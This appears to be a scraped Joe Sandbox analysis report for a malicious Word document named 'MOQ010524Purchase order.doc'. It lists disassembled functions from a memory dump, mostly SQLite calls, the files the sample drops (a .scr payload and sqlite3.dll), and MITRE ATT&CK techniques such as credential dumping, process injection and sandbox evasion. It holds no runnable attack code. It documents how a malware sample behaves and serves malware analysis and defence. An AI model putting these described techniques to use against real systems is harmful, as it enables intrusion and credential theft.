Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_exec
String ID: -a$sqlite_stat1
API String ID: 2141490097-3864893345
Opcode ID: 1e1fb8abe16e5930c7912de08e3e7ef30b3fa861fe96eae353578b4ffb2ccea6
Instruction ID: a894abb490d27badc722fc258bd411ce3e21d9912372ec45f0f07e9d9d0d1f72
Opcode Fuzzy Hash: 1e1fb8abe16e5930c7912de08e3e7ef30b3fa861fe96eae353578b4ffb2ccea6
Instruction Fuzzy Hash: 15216DB0B447428FD700DFA9C490A4ABBF9BB88768F65C96ED8589B350D734E851CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E14278 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E14295
sqlite3_mutex_leave.SQLITE3 ref: 61E1430A

Part of subcall function 61E13FAA: sqlite3_mutex_try.SQLITE3(?,?,?,61E1402A), ref: 61E13F4A

Strings

#, xrefs: 61E142E8

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leavesqlite3_mutex_try
String ID: #
API String ID: 2389339727-1885708031
Opcode ID: 90906a56cf3c920cd4e47eb4a956342fdf234f4ac69045aa7c1a494acdbcd53f
Instruction ID: 8e493d0de31462f75456f45dbd0c2367570f3ab1cf5e6002ec9e7ee42b62a7e9
Opcode Fuzzy Hash: 90906a56cf3c920cd4e47eb4a956342fdf234f4ac69045aa7c1a494acdbcd53f
Instruction Fuzzy Hash: 77113334A08246CFDB04DFA9D48199AB7B0FF4A76DF65C62AF8148B304D770E991CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E03C3F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3(00000000,?,?,61E6422A), ref: 61E03CB9

Strings

sqlite_master, xrefs: 61E03C9E
sqlite_temp_master, xrefs: 61E03CC0

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: sqlite_master$sqlite_temp_master
API String ID: 912767213-3047539776
Opcode ID: 12fcf227dbcda8661fcd8af2cb0b3f0866165027c89607d1779178c6e6561a52
Instruction ID: b9c502ee173f1856507a055c09ea6eab5597e238da70938a4843ed6337d6f2b4
Opcode Fuzzy Hash: 12fcf227dbcda8661fcd8af2cb0b3f0866165027c89607d1779178c6e6561a52
Instruction Fuzzy Hash: B91152B1A002158FAB04DFEAD8C0E5BB7F4FF84719B258969DC25DB301D770D92186B1

Uniqueness

Uniqueness Score: -1.00%

Function 61E1D9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1D9D5
sqlite3_value_numeric_type.SQLITE3 ref: 61E1D9E1

Strings

, xrefs: 61E1D9CA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
String ID:
API String ID: 3265351223-3916222277
Opcode ID: b7e183696c6f76990d91f64a296b4fe1275532d5e4e8e5745fbf77ae69801f39
Instruction ID: 0b561e68026e55031ffe968a23126f12ad37f70900dbae251c42323ab107e6b3
Opcode Fuzzy Hash: b7e183696c6f76990d91f64a296b4fe1275532d5e4e8e5745fbf77ae69801f39
Instruction Fuzzy Hash: 84118B3590C2859BEB05DFE9C0CA25A7BF0FF49308F608498D9C48B34ADB31C960C792

Uniqueness

Uniqueness Score: -1.00%

Function 61E1D94A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1D963
sqlite3_value_numeric_type.SQLITE3 ref: 61E1D96F

Strings

, xrefs: 61E1D958

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
String ID:
API String ID: 3265351223-3916222277
Opcode ID: 9ed41e6173973cf26dca8f28c8b1bd458f8d4f3a0adab18fb41b577895b33514
Instruction ID: dc2ddb9f96d0a3c358018c613854b4c6d117ddefba8615c23316a190631becf2
Opcode Fuzzy Hash: 9ed41e6173973cf26dca8f28c8b1bd458f8d4f3a0adab18fb41b577895b33514
Instruction Fuzzy Hash: E5019E349087059BDB049FB8C4C965A7BF5FF45324F25C55DD8E48B28DD771D8508B82

Uniqueness

Uniqueness Score: -1.00%

Function 61E10346 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,61E103B5), ref: 61E1035E

Strings

@Da, xrefs: 61E10396
@Da, xrefs: 61E1038F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter
String ID: @Da$@Da
API String ID: 3053899952-1574951822
Opcode ID: 21ba869d0d807d901ad9e4d81d65ed77a5909eecc4d62f618926f0a481b5edce
Instruction ID: 628a6049420a8f2f5a7e7b0193214567f9be39e30e648a7468be74f3e843a349
Opcode Fuzzy Hash: 21ba869d0d807d901ad9e4d81d65ed77a5909eecc4d62f618926f0a481b5edce
Instruction Fuzzy Hash: 36F0E23070C2044BEB109EBD84D272BBBD6E788358F68C97AE589CF398D720D8608381

Uniqueness

Uniqueness Score: -1.00%

Function 61E38ACB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E38AD2

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_str_vappendf.SQLITE3 ref: 61E38B1D

Part of subcall function 61E215AC: sqlite3_str_append.SQLITE3 ref: 61E21628
Part of subcall function 61E215AC: sqlite3_str_append.SQLITE3 ref: 61E2165C

Strings

F, xrefs: 61E38AEC

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_str_append$sqlite3_configsqlite3_initializesqlite3_mutex_entersqlite3_mutex_leavesqlite3_str_vappendf
String ID: F
API String ID: 4014417345-1304234792
Opcode ID: f1a384071fd9cb2195bf3db03fd96d7dd68d5d8888f9c411968fc47c13b791e9
Instruction ID: e59b3cd03e394578f332547a81ea582b1f3621bb50ad6d78f1bcec5508e81ac3
Opcode Fuzzy Hash: f1a384071fd9cb2195bf3db03fd96d7dd68d5d8888f9c411968fc47c13b791e9
Instruction Fuzzy Hash: D9F0E2B0D0438A8BDB00DFA8C98478EBBF4AB85358F248429D8499F344E776D648CB41

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MOQ010524Purchase order.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sqlite-dll-win32-x86-3290000[1].zip

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{32287031-1AA7-4113-9CE7-2D38FFF56A48}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3A3C11FA-90ED-43D5-ADC7-410054725309}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7BC00D90-3286-43A4-8263-7BB80B0A8239}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E434B38F-ED25-466F-B480-94EE051CC92F}.tmp

C:\Users\user\AppData\Local\Temp\13d6pS3

C:\Users\user\AppData\Local\Temp\sqlite3.def

C:\Users\user\AppData\Local\Temp\sqlite3.dll

C:\Users\user\AppData\Local\Temp\u62ln.zip

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\MOQ010524Purchase order.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Windows Analysis Report
MOQ010524Purchase order.doc

Function 00154868 Relevance: 1.7, APIs: 1, Instructions: 224
processCOMMON

Function 00154870 Relevance: 1.7, APIs: 1, Instructions: 220
processCOMMON

Function 00153910 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Function 00153918 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Function 00153A6C Relevance: 1.6, APIs: 1, Instructions: 104
memoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre